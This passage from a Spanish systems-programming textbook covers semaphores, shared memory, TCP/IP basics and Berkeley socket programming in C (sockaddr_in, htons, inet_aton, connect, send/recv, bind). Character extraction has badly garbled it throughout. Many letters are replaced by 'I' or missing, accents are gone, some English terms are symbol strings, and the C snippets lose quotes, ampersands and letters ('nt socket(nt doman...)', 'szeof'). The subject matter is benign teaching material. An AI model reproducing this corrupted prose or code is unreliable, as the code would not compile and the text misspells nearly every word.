que esperar. !n proceso a Ia espera de un recurso controIado por un
semIoro sIempre es prIvado deI procesador, eI pIanIIIcador detecta esta
sItuacIn y cambIa eI proceso en ejecucIn para aumentar eI rendImIento.
ConIorme Ios trabajos de ImpresIn vayan acabando, eI contador deI
semIoro Ir Incrementndose y Ios procesos a Ia espera Irn sIendo
atendIdos.
Programacn de Sstemas 61
s muy Importante Ia caracterIstIca de atomIcIdad de Ias operacIones
sobre un semIoro. Iara evItar errores provocados por condIcIones de
carrera ("'$#* #29&(,(29!"), Ios semIoros protegen su contador, asegurando
que todas Ias operacIones sobre esa varIabIe entera (Iectura, Incremento,
decremento) son atmIcas, es decIr, no sern InterrumpIdas a Ia mItad de su
ejecucIn. Iecordamos que estamos en un entorno muItIprogramado en eI
que nIngn proceso se asegura que vaya a ser ejecutado de prIncIpIo a IIn
sIn InterrupcIn. Ias actuaIIzacIones y consuItas de Ia varIabIe contador de
un semIoro IC son Ia excepcIn a este hecho. una vez InIcIadas, no son
InterrumpIdas. Con esto se consIgue evItar IaIIos a Ia hora de usar un
recurso protegIdo por un semIoro. ImagInemos que en un entorno en eI que
hay cuatro procesadores trabajando concurrentemente, cuatro procesos Ieen
a Ia vez eI vaIor deI contador deI semIoro anterIor (Impresora). Supongamos
que tIene un vaIor InIcIaI de tres. Ios cuatro procesos Ieen un vaIor posItIvo y
decIden usar eI recurso. ecrementan eI vaIor deI contador, y cuando se
dIsponen a usar eI recurso, resuIta que hay cuatro procesos Intentando
acceder a un recurso que sIo tIene capacIdad para tres. Ia proteccIn de Ia
varIabIe contador evIta este hecho, por eso es tan Importante.
Ia ImpIementacIn prctIca en C de semIoros IC queda Iuera deI
aIcance de este texto.
Memora compartda
Ia memorIa compartIda es un mecanIsmo para compartIr datos entre dos
o ms procesos. Ichos procesos comparten una parte de su espacIo de
dIreccIonamIento en memorIa, que puede coIncIdIr en cuanto a dIreccIn
vIrtuaI o no. s decIr, ImagInemos que tenemos dos IIbros compartIendo una
pgIna. I prImer IIbro es "I uIjote de Ia Mancha", y eI segundo es un IIbro
de texto de 6 de prImarIa. Ia pgIna 50 deI prImer IIbro es compartIda por
eI segundo, pero puede que no corresponda con eI nmero de pgIna 50,
sIno que este en Ia pgIna 124. SIn embargo Ia pgIna es Ia mIsma, a pesar
de que no este en eI mIsmo sItIo dentro deI dIreccIonamIento de cada
proceso. Ios accesos a segmentos de memorIa compartIda son controIados,
como ocurre con todos Ios objetos IC System V, y se hace un chequeo de Ios
permIsos y credencIaIes para poder usar dIcho segmento. SIn embargo, una
vez que eI segmento de memorIa est sIendo compartIdo, su acceso y uso
debe ser reguIado por Ios propIos procesos que Ia comparten, utIIIzando
semIoros u otros mecanIsmos de sIncronIzacIn.
Ia prImera vez que un proceso accede a una de Ias pgInas de memorIa
vIrtuaI compartIda, tIene Iugar un IaIIo de pgIna. I SIstema OperatIvo trata
de soIventar este IaIIo de pgIna y se da cuenta de que se trata de una
pgIna correspondIente a un segmento de memorIa compartIda. ntonces, se
busca Ia pgIna correspondIente a esa pgIna de memorIa vIrtuaI
compartIda, y sI no exIste, se asIgna una nueva pgIna IIsIca.
Ia manera medIante Ia que un proceso deja de compartIr una regIn o
segmento de memorIa compartIda es bastante sImIIar a Io que sucede con Ios
enIaces entre IIcheros. aI borrarse un enIace no se procede aI borrado deI
Programacn de Sstemas 62
IIchero enIazado a no ser que ya no exIstan ms enIaces a dIcho IIchero.
Cuando un proceso se desenIaza o desencadena de un segmento de
memorIa, se comprueba sI hay ms procesos utIIIzndoIo. SI es asI, eI
segmento de memorIa contIna como hasta entonces, pero de Io contrarIo,
se IIbera dIcha memorIa.
s bastante recomendabIe bIoquear en memorIa IIsIca Ia memorIa vIrtuaI
compartIda para que no sea reempIazada ("!0$11(9/") por otras pgInas y
se aImacene en dIsco. SI bIen un proceso puede que no use esa pgIna en
mucho tIempo, su carcter compartIdo Ia hace susceptIbIe de ser ms usada
y eI reempIazo provocarIa una caIda deI rendImIento.
Ia ImpIementacIn prctIca en C de Ia comunIcacIn medIante memorIa
compartIda queda Iuera deI aIcance de este texto.
1.5.7 Comuncacn por red
Muchas de Ias utIIIdades que usamos todos Ios dIas, como eI correo
eIectrnIco o Ios navegadores web, utIIIzan protocoIos de red para
comunIcarse. n este apartado veremos cmo utIIIzar esos protocoIos,
comprenderemos todo Io que rodea a una comunIcacIn a traves de Ios
InterIaces de red y aprenderemos a programar cIIentes y servIdores
sencIIIos.
1.5.7.1 Breve repaso a as redes TCP/IP
Antes de aIrontar Ia conIIguracIn de red de nuestros equIpos, vamos a
desempoIvar nuestras nocIones sobre redes TCI/I. SIempre que se habIa de
redes de ordenadores, se habIa de protocoIos. !n protocoIo no es ms que
un acuerdo entre dos entIdades para entenderse. s decIr, sI yo Ie dIgo a un
amIgo que Ie dejo una IIamada perdIda cuando IIegue a su portaI, para que
baje a abrIrme, habremos estabIecIdo un protocoIo de comunIcacIn, por
ejempIo.
Los ordenadores funconan de una forma ms o menos parecda.
Cuando queremos estabecer una conexn entre ordenadores
medante una red, hay muchos factores en |uego: prmero est e
medo fsco en e que se producr a conexn (cabe, ondas
eectromagntcas, etc.), por otro ado est a tecnooga que se
utzar (tar|etas de red Ethernet, modems, etc.), por otro os
paquetes de datos que envaremos, as dreccones o destnos
dentro de una red... Dado que hay tantos eementos que ntervenen
en una comuncacn, se estabecen protocoos o normas para
entdades de msmo nve, es decr, se dvde todo o que ntervene
en a comuncacn en dferentes capas. En e nve ms ba|o de
todas as capas estara e nve fsco: e medo que se va a utzar,
os vota|es utzados, etc. Sobre esa capa se construye a sguente,
en donde transformamos as seaes ectrcas en datos
propamente dchos. Esta sera a capa de enace de datos.
Posterormente, se van estabecendo una sere de capas
ntermedas, cada una con mayor refnamento de a nformacn
Programacn de Sstemas 63
que mane|a, hasta egar a a capa de apcacn, que es con a que
nteractan a mayora de programas que utzamos para
conectarnos a redes: navegadores, centes de correo, etc.
AsI, por ejempIo, sI queremos mandar un correo eIectrnIco a un amIgo,
utIIIzaremos Ia apIIcacIn IndIcada para mandar un mensaje, en este caso
nuestro cIIente de correo preIerIdo (mutt, KmaII, mozIIIa...). I cIIente de
correo envIar eI mensaje aI servIdor, para que este Io encamIne hasta eI
buzn de nuestro amIgo, pero en ese envIo sucedern una serIe de pasos que
pueden parecernos transparentes en un prIncIpIo.
! IrImeramente se estabIece una conexIn con eI servIdor,
para eIIo Ia apIIcacIn (eI cIIente de correo) envIar a Ias
capas ms bajas de protocoIos de red una petIcIn aI
servIdor de correo.
! sa capa, aceptar Ia petIcIn, y reaIIzar otro encargo a
una capa InIerIor, soIIcItando envIar un paquete de datos
por Ia red.
! Ia capa InIerIor, a su vez, pedIr a Ia capa IIsIca envIar
una serIe de seaIes eIectrIcas por eI medIo, para hacer
su cometIdo.
TaI y como est enIocada Ia "pIIa de protocoIos de red", cada "trabajo" de
red compIejo se dIvIde en partes cada vez ms sencIIIas hasta IIegar a Ia
capa IIsIca, que se encargar de Ia transmIsIn eIectrIca. s como sI eI jeIe
de una empresa de vIdeojuegos mandara a su subdIrector que hIcIera un
juego de accIn. I subdIrector IrIa a donde sus subordInados y Ies pedIrIa
un guIn, unos grIIcos, un motor de anImacIones, etc. Ios encargados de
Ios grIIcos IrIan a donde sus subordInados y Ies pedIrIan, Ia portada, Ios
decorados, Ios personajes, etc. stos, a su vez, se repartIrIan en grupos y
cada uno harIa un trabajo ms concreto, y asI sucesIvamente. s decIr, una
Idea compIeja, se dIvIde en trabajos concretos y sencIIIos para hacerse,
estructurndose en capas.
n eI caso especIIIco que nos Interesa, Ia pIIa de protocoIos que
utIIIzamos se denomIna TCI/I, porque dos de sus protocoIos prIncIpaIes se
IIaman TCI (capa de transporte) e I (capa de red).
Programacn de Sstemas 64
Fgura 1.5.9 Comuncacn medante capas de protocoos de red.
Cuando utIIIzamos estos protocoIos, cada uno de Ios posIbIes destInos de
una red necesIta un nombre dIIerente o dIreccIn I. AI IguaI que sucede con
Ios teIeIonos, para dIIerencIar todos Ios ordenadores y dIsposItIvos
conectados a una red, se Ies asIgna a cada uno un nmero dIIerente, y basta
con "marcar" ese nmero para acceder a eI. ActuaImente esos nmeros van
desde eI 0 aI 4294967296, pero en Iugar de utIIIzar sImpIemente eI nmero,
se empIea una notacIn ms sencIIIa, separando eI nmero en 4 dIgItos deI 0
aI 255, por ejempIo. 128.244.34.12 192.168.0.1.
n un Iuturo no muy Iejano, Ias dIreccIones I cambIarn su Iormato, ya
que eI espacIo de dIreccIones que oIrece Ia versIn actuaI de I (Iv4) se
est agotando, por Io que habr que ampIIar su rango (aI IguaI que ocurre en
cIudades o provIncIas con mucha demanda de nmeros de teIeIono, que
ampIIan Ia IongItud de sus nmeros de teIeIono en una o varIas cIIras).
SIempre que queramos acceder a una red TCI/I, deberemos tener una
dIreccIn I que nos IdentIIIque. st prohIbIdo vIajar sIn matrIcuIa por estas
carreteras. n nuestras redes prIvadas, nuestras Intranets o pequeas IAs,
Ia manera de estabIecer esas dIreccIones I Ia marcamos nosotros mIsmos (o
eI admInIstrador de red, en su caso). s decIr, dentro de nuestras
organIzacIones, somos nosotros Ios que ponemos Ios nombres. sto es Io
mIsmo que Io que sucede en una organIzacIn grande, con muchos teIeIonos
Internos y una centraIIta. I nmero de extensIn de cada teIeIono, Io
Inventamos nosotros mIsmos, no Ia compaIa teIeInIca. Cuando queremos
saIIr a una red pbIIca como pueda ser nternet, no podemos Inventarnos
nuestra dIreccIn I, deberemos seguIr unas normas externas para poder
cIrcuIar por aIII. SIguIendo eI sImII teIeInIco, sI queremos un teIeIono
Programacn de Sstemas 65
accesIbIe por todo eI mundo, deberemos soIIcItar un nmero vIIdo a Ia
empresa teIeInIca.
Iasta aquI todo cIaro. Ios ordenadores tIenen unos nmeros sImIIares a
Ios nmeros de teIeIono para IdentIIIcarse, y cuando queremos comunIcarnos
con un destIno en concreto, sIo tenemos que "marcar" su nmero, pero...
cundo pedImos una pgIna web a www.IInux.org cmo sabe nuestra
mquIna que nmero "marcar"? uena pregunta, tIene que haber un "IIstIn
teIeInIco" I, que nos dIga que I corresponde con una dIreccIn especIIIca.
stas "pgInas amarIIIas" de Ias redes I se denomInan S (omaIn ame
System). justo antes de hacer Ia conexIn a www.IInux.org, nuestro
navegador Ie pregunta Ia dIreccIn I aI S, y Iuego conecta vIa dIreccIn
I con eI servIdor web www.IInux.org.
!na conexIn de un ordenador a otro precIsa, adems de una dIreccIn I
de destIno, un nmero de puerto. SI IIamamos por teIeIono a un nmero
normaImente preguntamos por aIguIen en concreto. IIamas a casa de tus
padres y preguntas por tu hermano pequeo. Con Ias comunIcacIones
teIemtIcas sucede aIgo parecIdo. IIamas a una determInada I y preguntas
por un servIcIo en concreto, por ejempIo eI ServIcIo Web, que tIene
reservado eI puerto 80. Ios servIcIos reservan puertos y se quedan a Ia
escucha de petIcIones para esos puertos. xIsten un montn de puertos que
tIpIcamente se usan para servIcIos habItuaIes. eI 80 para web, eI 20 y 21
para ITI, eI 23 para teInet, etc. Son Ios puertos "bIen conocIdos" ("0*%%
-9209 12',!") y sueIen ser puertos reservados, por debajo de 1024. Iara
apIIcacIones extraas o de mbIto personaI se sueIen utIIIzar puertos "aItos",
por encIma de 1024. I nmero de puerto Io deIIne un entero de 16 bIts, es
decIr, hay 65535 puertos dIsponIbIes. !n servIdor o servIcIo no es ms que
un programa a Ia escucha de petIcIones en un puerto. AsI pues, cuando
queramos conectarnos a un ordenador, tendremos que especIIIcar eI par
"D recc nIP:Puer to ".
Con esta breve IntroduccIn hemos repasado nocIones bsIcas de Io que
son protocoIos de comunIcacIones, Ia pIIa de protocoIos TCI/I, eI
dIreccIonamIento I, y Ia resoIucIn de nombres o S.
1.5.7.2 Sockets
!n socket es, como su propIo nombre IndIca, un conector o enchuIe. Con
eI podremos conectarnos a ordenadores remotos o permItIr que estos se
conecten aI nuestro a traves de Ia red. n reaIIdad un socket no es ms que
un descrIptor de IIchero un tanto especIaI. Iecordemos que en !X todo es
un IIchero, asI que para envIar y recIbIr datos por Ia red, sIo tendremos que
escrIbIr y Ieer en un IIchero un poco especIaI.
Ya hemos vIsto que para crear un nuevo IIchero se usan Ias IIamadas
open( ) o creat ( ) , sIn embargo, este nuevo tIpo de IIcheros se crea de una Iorma
un poco dIstInta, con Ia IuncIn socket().
nt socket(nt doman, nt type, nt protoco);
Programacn de Sstemas 66
!na vez creado un socket, se nos devueIve un descrIptor de IIchero, aI
IguaI que ocurrIa con open( ) o creat ( ) , y a partIr de ahI ya podrIamos tratarIo, sI
quIsIeramos, como un IIchero normaI. Se pueden hacer read() y wrte() sobre
un socket, ya que es un IIchero, pero no es Io habItuaI. xIsten IuncIones
especIIIcamente dIseadas para eI manejo de sockets, como send() o recv(),
que ya Iremos vIendo ms adeIante.
AsI pues, un socket es un IIchero un poco especIaI, que nos va a servIr
para reaIIzar una comunIcacIn entre dos procesos. Ios sockets que
trataremos nosotros son Ios de Ia AI (nterIaz de IrogramacIn de
ApIIcacIones) de sockets erkeIey, dIseados en Ia unIversIdad deI mIsmo
nombre, y nos centraremos excIusIvamente en Ia programacIn de cIIentes y
servIdores TCI/I. entro de este tIpo de sockets, veremos dos tIpos.
! Sockets de IIujo (TCI).
! Sockets de datagramas (!I).
Ios prImeros utIIIzan eI protocoIo de transporte TCI, deIInIendo una
comunIcacIn bIdIreccIonaI, conIIabIe y orIentada a Ia conexIn. todo Io que
se envIe por un extremo de Ia comunIcacIn, IIegar aI otro extremo en eI
mIsmo orden y sIn errores (exIste correccIn de errores y retransmIsIn).
Ios sockets de datagramas, en cambIo, utIIIzan eI protocoIo !I que no
est orIentado a Ia conexIn, y es no conIIabIe. sI envIas un datagrama,
puede que IIegue en orden o puede que IIegue Iuera de secuencIa. o
precIsan mantener una conexIn abIerta, sI eI destIno no recIbe eI paquete,
no ocurre nada especIaI.
AIguIen podrIa pensar que este tIpo de sockets no tIene nInguna utIIIdad,
ya que nadIe nos asegura que nuestro trIIco IIegue a buen puerto, es decIr,
podrIa haber perdIdas de InIormacIn. Ien, ImagInemos eI sIguIente
escenarIo. eI partIdo deI sIgIo (todos Ios aos hay dos o ms, por eso es eI
partIdo deI sIgIo), una nIca teIevIsIn en todo eI edIIIcIo, pero una potente
red Interna que permIte retransmItIr eI partIdo dIgItaIIzado en cada uno de
Ios ordenadores. CIentos de empIeados ponIendo cara de contabIes, pero
sIguIendo cada Iance deI encuentro... ue pasarIa sI se usaran sockets de
IIujo? Iues que Ia caIIdad de Ia Imagen serIa perIecta, con una nItIdez
asombrosa, pero es posIbIe que para mantener Intacta Ia caIIdad orIgInaI
haya que retransmItIr Iotogramas semIdeIectuosos, reordenar Ios
Iotogramas, etc. xIsten muchIsImas posIbIIIdades de que no se pueda
mantener una vIsIbIIIdad en tIempo reaI con esa caIIdad de Imagen. ue
pasarIa sI usramos sockets de datagramas? IrobabIemente aIgunos
Iotogramas tendrIan aIgn deIecto o se perderIan, pero todo IIuIrIa en
tIempo reaI, a gran veIocIdad. Ierder un Iotograma no es grave (recordemos
que cada segundo se sueIen emItIr 24 Iotogramas), pero esperar a un
Iotograma Incorrecto de hace dos mInutos que tIene que ser retransmItIdo,
puede ser desesperante (quIz tu veas Ia secuencIa deI goI con ms nItIdez,
pero en eI ordenador de enIrente hace mInutos que Io han Iestejado). Ior
esto mIsmo, es muy normaI que Ias retransmIsIones de eventos deportIvos o
musIcaIes en tIempo reaI usen sockets de datagramas, donde no se asegura
Programacn de Sstemas 67
una caIIdad perIecta, pero Ia Imagen IIegar sIn grandes saItos y sIn demoras
por retransmIsIones de datos ImperIectos o en desorden.
1.5.7.3 Tpos de datos
s muy Importante conocer Ias estructuras de datos necesarIas a Ia hora
de programar apIIcacIones en red. uIz aI prIncIpIo pueda parecer un tanto
catIca Ia deIInIcIn de estas estructuras, es IcII pensar en
ImpIementacIones ms eIIcIentes y ms sencIIIas de comprender, pero
debemos darnos cuenta de que Ia mayorIa de estas estructuras son
modIIIcacIones de otras exIstentes, ms generaIes y, sobre todo, que se han
convertIdo en un estndar en Ia programacIn en C para !X. Ior Io tanto,
no nos queda ms remedIo que tratar con eIIas.
Ia sIguIente estructura es una st ructderIvada deI tIpo sockaddr, pero
especIIIca para nternet.
struct sockaddr_n
short nt sn_famy; // = AF_INET
unsgned short nt sn_port;
struct n_addr sn_addr;
unsgned char sn_zero|8|;

A sImpIe vIsta parece monstruosamente Iea. ecesItbamos una


estructura que aImacenase una dIreccIn I y un puerto, y aIguIen dIse
eso? n que estaba pensando? o desesperemos, ya hemos dIcho que esto
vIene de ms atrs. Comentemos poco a poco Ia estructura.
! s n_ fam y . es un entero corto que IndIca Ia "IamIIIa de
dIreccIones", en nuestro caso sIempre tendr eI vaIor
"AF_ INET".
! s n_por t . entero corto sIn sIgno que IndIca eI nmero de
puerto.
! s n_addr . estructura de tIpo n_addrque IndIca Ia dIreccIn
I.
! s n_zero . array de 8 bytes reIIenados a cero. SImpIemente tIene
sentIdo para que eI tamao de esta estructura coIncIda con eI
de sockaddr.
Ia estructura n_addrutIIIzada en s n_addrtIene Ia sIguIente deIInIcIn.
struct n_addr
unsgned ong s_addr;

s decIr, un entero Iargo sIn sIgno.


Adems de utIIIzar Ias estructuras necesarIas, tambIen deberemos
empIear Ios Iormatos necesarIos. n comunIcacIones teIemtIcas entran en
juego ordenadores de muy dIversas naturaIezas, con representacIones
dIIerentes de Ios datos en memorIa. Ia IamIIIa de mIcroprocesadores x86,
por ejempIo, guarda Ios vaIores numerIcos en memorIa utIIIzando Ia
Programacn de Sstemas 68
representacIn "IIttIe-ndIan", es decIr, para guardar "12345678 ", se
aImacena asI. "78563412 ", es decIr, eI byte de menos peso ("78") aI prIncIpIo,
Iuego eI sIguIente ("56"), eI sIguIente ("34") y por ItImo, eI byte de ms peso
("12"). Ia representacIn "Ig-ndIan", empIeada por Ios mIcroprocesadores
MotoroIa, por ejempIo, guardarIa "12345678" asI. "12345678". SI dos
ordenadores de estas caracterIstIcas compartIeran InIormacIn sIn ser
unIIIcada, eI resuItado serIa InInteIIgIbIe para ambas partes. Ior eIIo
dIsponemos de un conjunto de IuncIones que traducen de eI Iormato IocaI
("host") aI Iormato de Ia red ("network") y vIceversa.
unt32_t hton(unt32_t hostong);
unt16_t htons(unt16_t hostshort);
unt32_t ntoh(unt32_t netong);
unt16_t ntohs(unt16_t netshort);

uIz parezca compIIcado, pero sus nombres son muy representatIvos.


"h" sIgnIIIca "host"y "n" sIgnIIIca "network". Ias IuncIones que acaban en ""
son para enteros Iargos ("ong nt", como Ios usados en Ias dIreccIones I) y
Ias que acaban en "s" son para enteros cortos ("short nt", como Ios usados aI
especIIIcar un nmero de puerto). Ior Io tanto para IndIcar un nmero de
puerto, por ejempIo, podrIamos hacerIo asI.
sn_port = htons( 80 );
s decIr, convertImos "80" deI Iormato de nuestro host, aI Iormato de red
("h" to "n"), y como es un "short" usamos htons().
Ya para termInar con Ios Iormatos veremos dos IuncIones ms.
ormaImente Ia gente no utIIIza enteros Iargos para representar sus
dIreccIones I, sIno que usan Ia notacIn decImaI, por ejempIo.
130.206.100.59. Iero como ya hemos vIsto, n_addr necesIta un entero Iargo
para representar Ia dIreccIn I. Iara poder pasar de una notacIn a otra
tenemos dos IuncIones a nuestra dIsposIcIn.
nt net_aton(const char *cp, struct n_addr *np);
char *net_ntoa(struct n_addr n);
Ios nombres de Ias IuncIones tambIen ayudan. net_aton() traduce de un
array ("a") de chars, es decIr, un strng, a una dIreccIn de red ("n", de
"network"), mIentras que net_ntoa() traduce de una dIreccIn de red ("n") a un
array de chars ("a"). Veamos un ejempIo de su uso.
struct n_addr m_addr;
net_aton( 130.206.100.59, (m_addr) );
prntf( Dreccon IP: %sn, net_ntoa( m_addr ) );
Iara termInar este apartado, vamos a ver cmo reIIenar una estructura
sockaddr_n desde eI prIncIpIo. magInemos que queremos preparar Ia
Programacn de Sstemas 69
estructura "m_est ructura " para conectarnos aI puerto 80 deI host
"130.206.100.59". eberIamos hacer Ios sIguIente.
struct sockaddr_n m_estructura;
m_estructura.sn_famy = AF_INET;
m_estructura.sn_port = htons( 80 );
net_aton( 130.206.100.59, (m_estructura.sn_addr) );
memset( (m_estructura.sn_zero), 0, 8 );
Como ya sabemos, "s n_ fam y " sIempre va a ser "AF_INET". Iara deIInIr
"sn_port", utIIIzamos htons() con eI objeto de poner eI puerto en Iormato de
red. Ia dIreccIn I Ia deIInImos desde eI Iormato decImaI a Ia estructura
"sn_addr" con Ia IuncIn net_aton(), como sabemos. Y por ItImo necesItamos 8
bytes a 0 ("0") en "sn_zero", cosa que conseguImos utIIIzando Ia IuncIn
memset(). IeaImente podrIa copIarse este Iragmento de cdIgo y utIIIzarIo
sIempre asI sIn varIacIn.
#defne PUERTO 80
#defne DIRECCION 130.206.100.59
struct sockaddr_n m_estructura;
m_estructura.sn_famy = AF_INET;
m_estructura.sn_port = htons( PUERTO );
net_aton( DIRECCION, (m_estructura.sn_addr) );
memset( (m_estructura.sn_zero), 0, 8 );
1.5.7.4 Funcones necesaras
!na vez conocIdos Ios tIpos de datos que empIearemos a Ia hora de
programar nuestras apIIcacIones de red, es hora de ver Ias IIamadas que nos
proporcIonarn Ia creacIn de conexIones, envIo y recepcIn de datos, etc.
Io prImero que debemos obtener a Ia hora de programar una apIIcacIn
de red es un socket. Ya hemos expIIcado que un socket es un conector o
enchuIe para poder reaIIzar IntercomunIcacIones entre procesos, y sIrve
tanto para crear un programa que pone un puerto a Ia escucha, como para
conectarse a un determInado puerto. !n socket es un IIchero, como todo en
!X, por Io que Ia IIamada a Ia IuncIn socket() crear eI socket y nos
devoIver un descrIptor de IIchero.
nt socket(nt doman, nt type, nt protoco);
e Ios tres parmetros que recIbe, sIo nos Interesa IIjar uno de eIIos.
"type". eberemos decIdIr sI queremos que sea un socket de IIujo
("SOCK_STREAM")o un socket de datagramas ("SOCK_DGRAM"). I resto de
parmetros se pueden IIjar a "AF_INET" para eI domInIo de dIreccIones, y a
"0", para eI protocoIo (de esta manera se seIeccIona eI protocoIo
automtIcamente).
m_socket = socket( AF_INET, SOCK_DGRAM, 0 );
Programacn de Sstemas 70
Ya sabemos crear sockets, utIIIcemosIos para conectarnos a un servIdor
remoto. Iara conectarnos a otro ordenador deberemos utIIIzar Ia IuncIn
connect ( ) , que recIbe tres parmetros.
nt connect(nt sockfd, const struct sockaddr *serv_addr, socken_t addren);
I prImero de eIIos es eI socket ("sockfd") que acabamos de crear, eI
segundo es un puntero a una estructura de tIpo sockaddr ("serv_addr")
recIentemente expIIcada (recordemos que sockaddr_n era una estructura
sockaddr especIaImente dIseada para protocoIos de nternet, asI que nos
sIrve aquI), y por ItImo es precIso IndIcar eI tamao de dIcha estructura
("addren"). Veamos un Iragmento de cdIgo que ponga todo esto en juego.
#defne PUERTO 80
#defne DIRECCION 130.206.100.59
nt m_socket, tam;
struct sockaddr_n m_estructura;
m_estructura.sn_famy = AF_INET;
m_estructura.sn_port = htons( PUERTO );
net_aton( DIRECCION, (m_estructura.sn_addr) );
memset( (m_estructura.sn_zero), 0, 8 );
m_socket = socket( AF_INET, SOCK_STREAM, 0 );
tam = szeof( struct sockaddr );
connect( m_socket, (struct sockaddr *)m_estructura, tam );
Como vemos, Io nIco que hemos hecho es juntar Ias pocas cosas vIstas
hasta ahora. Con eIIo ya conseguImos estabIecer una conexIn remota con eI
servIdor especIIIcado en Ias constantes DIRECCION y PUERTO. SerIa convenIente
comprobar todos Ios errores posIbIes que podrIa provocar este cdIgo, como
que connect() no Iogre conectar con eI host remoto, que Ia creacIn deI socket
IaIIe, etc.
Iara poder envIar y recIbIr datos exIsten varIas IuncIones. Ya avanzamos
anterIormente que un socket es un descrIptor de IIchero, asI que en teorIa
serIa posIbIe escrIbIr con wrte() y Ieer con read(), pero hay IuncIones mucho
ms cmodas para hacer esto. ependIendo sI eI socket que utIIIcemos es de
tIpo socket de IIujo o socket de datagramas empIearemos unas IuncIones u
otras.
! Iara sockets de IIujo. send() y recv().
! Iara sockets de datagramas. sendto() y recvfrom().
Ios prototIpos de estas IuncIones son Ios sIguIentes.
nt send(nt s, const vod *msg, sze_t en, nt fags);
nt sendto(nt s, const vod *msg, sze_t en, nt fags, const struct sockaddr *to, socken_t
toen);
Programacn de Sstemas 71
nt recv(nt s, vod *buf, sze_t en, nt fags);
nt recvfrom(nt s, vod *buf, sze_t en, nt fags, struct sockaddr *from, socken_t
*fromen);
I parmetro "s" es eI socket que empIearemos. Tanto "msg " como "buf"
son Ios buIIers que utIIIzaremos para aImacenar eI mensaje que queremos
envIar o recIbIr. IosterIormente tenemos que IndIcar eI tamao de ese buIIer,
con "en". n eI campo "fags" se pueden IndIcar varIas opcIones juntndoIas
medIante eI operador OI, pero IuncIonar perIectamente sI ponemos un 0
(sIgnIIIca no eIegIr nInguna de esas opcIones mItIpIes). Ias IuncIones para
sockets de datagramas IncIuyen adems eI puntero a Ia estructura sockaddr y
un puntero a su tamao, taI y como ocurrIa con connect(). sto es asI porque
una conexIn medIante este tIpo de socket no requIere hacer un connect()
prevIo, por Io que es necesarIo IndIcar Ia dIreccIn I y eI nmero de puerto
para envIar o recIbIr Ios datos. Veamos unos Iragmentos de cdIgo de
ejempIo.
char buf_envo|| = Hoa mundo teematco!rn;
char buf_recepcon|255|;
nt tam, numbytes;
// aqu creamos e socket m_socket y
// a estructura m_estructura, como hemos hecho antes
tam = szeof( struct sockaddr );
connect( m_socket, (struct sockaddr *)m_estructura, tam );
numbytes = send( m_socket, buf_envo, stren( buf_envo ), 0 );
prntf( %d bytes envadosn, numbytes );
numbytes = recv( m_socket, buf_recepcon, 255-1, 0 );
prntf( %d bytes recbdosn, numbytes );
Creamos dos buIIers, uno para contener eI mensaje que queremos envIar,
y otro para guardar eI mensaje que hemos recIbIdo (de 255 bytes). n Ia
varIabIe "numbytes" guardamos eI nmero de bytes que se han envIado o
recIbIdo por eI socket. A pesar de que en Ia IIamada a recv() pIdamos recIbIr
254 bytes (eI tamao deI buIIer menos un byte, para IndIcar con un "0" eI IIn
deI strng), es posIbIe que recIbamos menos, por Io que es muy recomendabIe
guardar eI nmero de bytes en dIcha varIabIe. I sIguIente cdIgo es sImIIar
pero para para sockets de datagramas.
char buf_envo|| = Hoa mundo teematco!rn;
char buf_recepcon|255|;
nt tam, numbytes;
// aqu creamos e socket m_socket y
// a estructura m_estructura, como hemos hecho antes
tam = szeof( struct sockaddr );
Programacn de Sstemas 72
// no es precso hacer connect()
numbytes = sendto( m_socket, buf_envo, stren( buf_envo ), 0,
(struct sockaddr *)m_estructura, tam );
prntf( %d bytes envadosn, numbytes );
numbytes = recvfrom( m_socket, buf_recepcon, 255-1, 0,
(struct sockaddr *)m_estructura, tam );
prntf( %d bytes recbdosn, numbytes );
Ias dIIerencIas con eI cdIgo anterIor son bastante IcIIes de ver. no hay
necesIdad de hacer connect ( ) , porque Ia dIreccIn y puerto Ios IncIuImos en Ia
IIamada a sendto( )y recvfrom(). I puntero a Ia estructura "m_estructura" tIene
que ser de tIpo "sockaddr", asI que hacemos un #$!,, y eI tamao tIene que
IndIcarse en recvfrom() como un puntero aI entero que contIene eI tamao, asI
que reIerencIamos Ia varIabIe "tam".
Con todo Io vIsto hasta ahora ya sabemos hacer cIIentes de red, que se
conecten a hosts remotos tanto medIante protocoIos orIentados a Ia
conexIn, como teInet o http, como medIante protocoIos no orIentados a Ia
conexIn ,como tItp o dhcp. I proceso para crear apIIcacIones que escuchen
un puerto y acepten conexIones requIere comprender eI uso de unas cuantas
IuncIones ms.
Iara crear un servIdor de sockets de IIujo es necesarIo reaIIzar una serIe
de pasos.
1. Crear un socket para aceptar Ias conexIones, medIante
socket().
2. AsocIar ese socket a un puerto IocaI, medIante bnd().
3. Ioner dIcho puerto a Ia escucha, medIante sten().
4. Aceptar Ias conexIones de Ios cIIentes, medIante accept().
5. Irocesar dIchas conexIones.
Ia IIamada a bnd() asocIa eI socket que acabamos de crear con un puerto
IocaI. Cuando un paquete de red IIegue a nuestro ordenador, eI ncIeo deI
SIstema OperatIvo ver a que puerto se dIrIge y utIIIzar eI socket asocIado
para encamInar Ios datos. Ia IIamada a bnd() tIene unos parmetros muy
poco sorprendentes.
nt bnd(nt sockfd, struct sockaddr *my_addr, socken_t addren);
s decIr, eI socket, Ia estructura que IndIca Ia dIreccIn I y eI puerto, y
eI tamao de dIcha estructura. !n ejempIo deI uso de bnd().
#defne PUERTO 80
#defne DIRECCION 130.206.100.59
nt m_socket, tam;
struct sockaddr_n m_estructura;
m_estructura.sn_famy = AF_INET;
Programacn de Sstemas 73
m_estructura.sn_port = htons( PUERTO );
net_aton( DIRECCION, (m_estructura.sn_addr) );
memset( (m_estructura.sn_zero), 0, 8 );
m_socket = socket( AF_INET, SOCK_STREAM, 0 );
tam = szeof( struct sockaddr );
bnd( m_socket, (struct sockaddr *)m_estructura, tam );
SI quIsIeramos poner a Ia escucha nuestra propIa dIreccIn, sIn tener que
saber cuI es en concreto, podrIamos haber empIeado "INADDR_ANY ", y sI eI
puerto que ponemos a Ia escucha nos da IguaI, podrIamos haber puesto eI
nmero de puerto "0", para que eI propIo kerneI decIda cuI darnos.
m_estructura.sn_famy = AF_INET;
m_estructura.sn_port = 0;
m_estructura.sn_addr.s_addr = INADDR_ANY;
memset( (m_estructura.sn_zero), 0, 8 );
sta es Ia nIca IIamada que se requIere para crear un servIdor de
sockets de datagramas, ya que no estn orIentados a Ia conexIn. Iara crear
servIdores de sockets de IIujo, una vez hayamos asocIado eI socket aI puerto
con bnd( ) , deberemos ponerIo a Ia escucha de petIcIones medIante Ia IuncIn
s ten( ) . sta IuncIn recIbe sIo dos parmetros.
nt sten(nt s, nt backog);
